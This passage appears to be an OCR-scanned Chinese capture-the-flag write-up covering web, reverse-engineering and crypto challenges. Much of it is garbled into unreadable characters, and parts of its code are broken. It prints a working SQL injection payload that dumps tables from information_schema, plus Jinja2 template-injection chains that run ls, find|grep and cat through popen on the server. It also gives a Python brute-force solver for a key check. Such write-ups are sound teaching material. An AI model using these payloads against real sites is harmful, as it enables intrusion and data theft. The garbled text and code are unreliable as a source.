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1. CodeCheck(WEB)

Wikadmin ‘or ‘“1'="1'#, phpiish. SEHEFETHEHMNEZNERN, URLFFH
id=b3FCRU5i0OU9IemZYc1JQSKYOWG5JZz09, 1 R)IEN, HEANERMAT 2 E%A#Bindex, TR FXA
B, MY EFRRAMTE, KIWFEEIstZzp, 7THEREHAETEANNAE.

<?php
header('content-type:text/html;charset=utf-8"');

confie nhn'-

trim($data),-7)!=="hxb2018" ){
ript>window.location.href="/index.php";</script>";

str{trim($data), :',F;t-‘lﬁnﬁr.-"i.-'r($data) )-7);

B & iF 7 INEREE, AES-128-CBCXHARINE, %4 TivAllkey. Jf HAid/EBALARhxb2018N & A Bk¥ (%niE
T ZEi—HBkindext R ), HBERERERNEF S EETRK.

$id-decode($_GET['id"]);
$sgql-"select id,title,content,time from notice where id=%$id";

$info=%$link->query(%$sql);
$arr=$info->fetch_assoc();
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1, WIEBRRER:

1/**land/**/1=2/**/union/**/select/**/1,2,group_concat(table _name),4/**/from/**/information_schema.tables/**/wt

i 1] 3

Z58: notice, notice2, stormgroup_member
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8. id, ttle
3, WiERICFIEA:
1/**[and/**/1=2/**/union/**/select/**/1,2,group_concat(id,0x3a,title),4/**/from/**/notice2/**/hxb2018

Zi%R: 1, hxb2018{088425ca08783233bbe9d21a3015f56}
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TEFER T i kdecode.

2. XmeO(WEB)

O L REFEFHE, admin. admin&®, AMTRBMAKTE, 2RERFERLITRALSRIT, RIS
5 - ADDYR I BA TS«

{{().__class__. bases_ [0]. _subclasses__ ()[59].__init__.func_globals['linecache']. __dict ['0'+'s'].popen('ls
/home/XmeQO').read()}}

(fEIX 2 A A2ls etc/passwdffl, KILFTLAEECCH, # T —Fhome B REI MR, KITXmeO5/8HE 4 —
FERISCHE SR, T RXHZ H F3TI04F). FTHE:
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WREflaght X E#find:

{{()._class . bases_[0]. subclasses_ ()
[59].__init__.func_globals['linecache".__dict ['0'+'s].popen('find

.|xargs grep -ri "hxb" -I').read()}}
EXE—RMENLT &E— 1 auto jsRE—REMERNE -, BEEEEFEXNUM:
{{()._class . bases [0]. subclasses_ ()[59].__init__.func_globals[linecache']. dict ['0o'+'s'].popen('cat

/home/XmeO/auto.js").read()}}
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5/iH 4: Replace(REVERSE)

fERE B RS . A RABSAIFlaghi & -

R EIE, SefErtidaldyl, RMAIMTT, BRRARUpXIIFE, FR T MupxBiebl, Bremn!
R, MFEENBEFLEERET, HKRENd, XA CURR ST, BEAREITHAEET .

1fint __cdecl main{int argc, const char **argv, const char **envp)

char Buf; // [esp+dh] [ebp-2Ch]
char Dst; //f [esp+5h] [ebp-2Bh]

Buf = @;

memset(&D=t, @, @x27u);

printf({“"Welcome The System‘nPlease Input Key:");
9| gets_s(&Buf, @x28u);

18| if ( strlen(&Buf) - 35 <= 2 )

11| {

12 if { sub_481898(&5uf) == 1 )
13 printf({"Well Done!\n");

14 else

15 printf({"Your Wrong!\n");
16

17 raturn A:

FERERF, RS Esub_401090() K% E, #HA:

int vll; /f eax
int v12; // ecx

w2 = al;

if { a2 1= 35)
réturn -1;

4 =@a;

while (1)

v = *(_BYTE *}{v4 + v2);
vE = (vE »> 4) % 16;

vi = (16 * vi »» 4) K 16;
vE = byte_4@2158[2 * v4];

H
if (v < a8 || va » 57 )
ve = vB - 87;
else
v = vB - 48;

vié = byte_4@2151[2 * va];

vil = 16 * w3

if ( vie < 48 || vie > 57 )
vi2 = v1@ - 87;

else
viz = vie - 48;

if { (unsigned __ intE)byte_4821A8[16 * vE + v7] l= ((vil + vi2) ~ @x19) )
break;

if [ ++4 3= 35 )
return 1;

}

return -1;

}
ST T, RAZEEMNHOAE PR EANSMIANFRET T nE, FkEE:
python &4 e SE BEAT 7 T R AR

Pythonfii A< 40 F :

al=
[0x32,0x61,0x34,0x39,0x66,0x36,0x39,0%63,0x33,0x38,0x33,0x39,0x35,0x63,0x64,0x65,0x39,0x36,0x64,0x36,0>
4 1 | 3

az2=

[0x61,0x34,0x39,0x66,0x36,0x39,0x63,0x33,0x38,0x33,0x39,0x35,0%63,0x64,0x65,0x39,0x36,0x64,0x36,0x64, 0>

4 m | r

ad=

[0x63,0x7C,0x77,0x7B,0xF2,0%6B, 0x6F,0xC5,0x30,0x01,0x67,0x2B, 0xFE, 0xD7,0xAB, 0x76,0xCA, 0x82,0xC9,0x7
« ] »

def check(ch,i):



v6 = (ord(ch) >> 4) % 16

v7 = (16 * ord(ch) >> 4) % 16
v8 =al[2*i]

if chr(v8) <'0' or chr(v8)
>

v9 = v8 - ord('W')

else:

v9 =v8 - ord('0")

v10 = a2[2 * ]

v11=16*v9

if chr(v10) <'0' or chr(v10)
>'9"

v12 =v10 - ord('W")

else:

v12 =v10 - ord('0")

if a3[16 * v6 + v7] 1= ((v11 + v12) » 0x19):
return False

i

+=1

return True

buf = ['1', 2, 31

flag =[]

for i in range(0, 35):

for ch in range(0x20,0x7F):

if check(chr(ch), i):
flag.append(chr(ch))
print(".join(flag))

BATHA, 1RE S HE 2 Mag:

flag {Thls_1s_Simple_Replac3_Enc0d3)

6. M HE4%: Common Crypto(CRYPTO)
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PRSI IRESILS 2y vam
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16HPHEFT | TGS fESSR
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BEHABA, FE.
TRAIER

sub, TF”QMBI‘FBI{ intdd)"Please enter flag:™, (__intéd)argy, {__intéd)envp, v3);
gets_s(Euf, Sdui }

sul rmmsim:a ingl);

sub ?FFW:WH nsigrad _ ints *)euf, (_ intsa)istringl);

memset(Bitringl, @, 18Buigd);

& m Bufs

Buf;
v = 32i64;

7 w BStringly

do

{ :
sub_7FFPe0Be1sse((__intea)v7, (__int6a)=%.2x", (wnsigned _ int@)™vs, va);
T 4w 2

L H

VB

¥
while [ vi };

xit(8);

7| sub TFFToDSeLaFe((_ intes)"successfullinpleass entry any key exit...®, vE, v3, vie);
i fgetchar();

i retuen 8;
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